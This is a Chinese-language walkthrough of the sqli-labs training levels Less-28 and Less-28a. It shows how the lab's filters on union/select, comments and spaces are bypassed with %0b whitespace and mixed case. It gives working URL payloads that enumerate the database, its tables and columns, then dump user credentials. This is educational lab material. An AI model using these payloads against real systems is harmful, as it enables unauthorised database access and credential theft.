Sqli-labs之Less-28和Less-28a

                                                    Less-28

基于错误的,单引号字符型,过滤了union和select等的注入

Sqli-labs之Less-28和Less-28a_第1张图片

判断注入类型

11"正常回显,1'报错,单引号字符型。
2'%26%26'1'='1回显为id=1,有小括号。

Sqli-labs之Less-28和Less-28a_第2张图片

Sqli-labs之Less-28和Less-28a_第3张图片

参看源码:

Sqli-labs之Less-28和Less-28a_第4张图片

Sqli-labs之Less-28和Less-28a_第5张图片

 

发现没有过滤orand
过滤了相连的unionselect/i同时匹配大小写,\s匹配任意空白字符如制表符、换行符、空格等,使用%a0等空格的URL编码可以绕过。
过滤了--#以及/**/
过滤了两次空格
过滤了/但没过滤\

这一关和Less-27a十分相似,可以利用联合注入,布尔盲注,延时注入。

这里演示联合注入:

爆库:

?id=0')%0buniOn%0bsElEct%0b1,database(),3%0bor%0b('1')=('1 

Sqli-labs之Less-28和Less-28a_第6张图片

爆表:

?id=0')%0buniOn%0bsElEct%0b1,(group_concat(table_name)),3%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema='security'%0b%26%26%0b('1')=('1

Sqli-labs之Less-28和Less-28a_第7张图片

暴字段:

?id=0')%0buniOn%0bsElEct%0b1,(group_concat(column_name)),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema='security'%0bAnd%0btable_name='users'%0b%26%26%0b('1')=('1

Sqli-labs之Less-28和Less-28a_第8张图片

爆数据:

?id=0')%0buniOn%0bsElEct%0b1,(group_concat(username,0x7e,password)),3%0bfrom%0busers%0bwhere%0b('1')=('1

Sqli-labs之Less-28和Less-28a_第9张图片

================= 分隔符 ==============

                                                    Less-28a

基于盲注的,带括号的单引号字符型,过滤了union和select等的注入

Sqli-labs之Less-28和Less-28a_第10张图片

本关与 28 基本一致,只是过滤条件少了几个。

参考源码:

Sqli-labs之Less-28和Less-28a_第11张图片

这一关应该设置成带括号的双引号字符型比较好。

联合注入和28关一模一样具体操作自行尝试。

推荐两篇绕过文章:

深入理解SQL注入绕过WAF和过滤机制
SQL注入绕过union+select过滤

完。

 

你可能感兴趣的:(Sqli-labs之Less-28和Less-28a)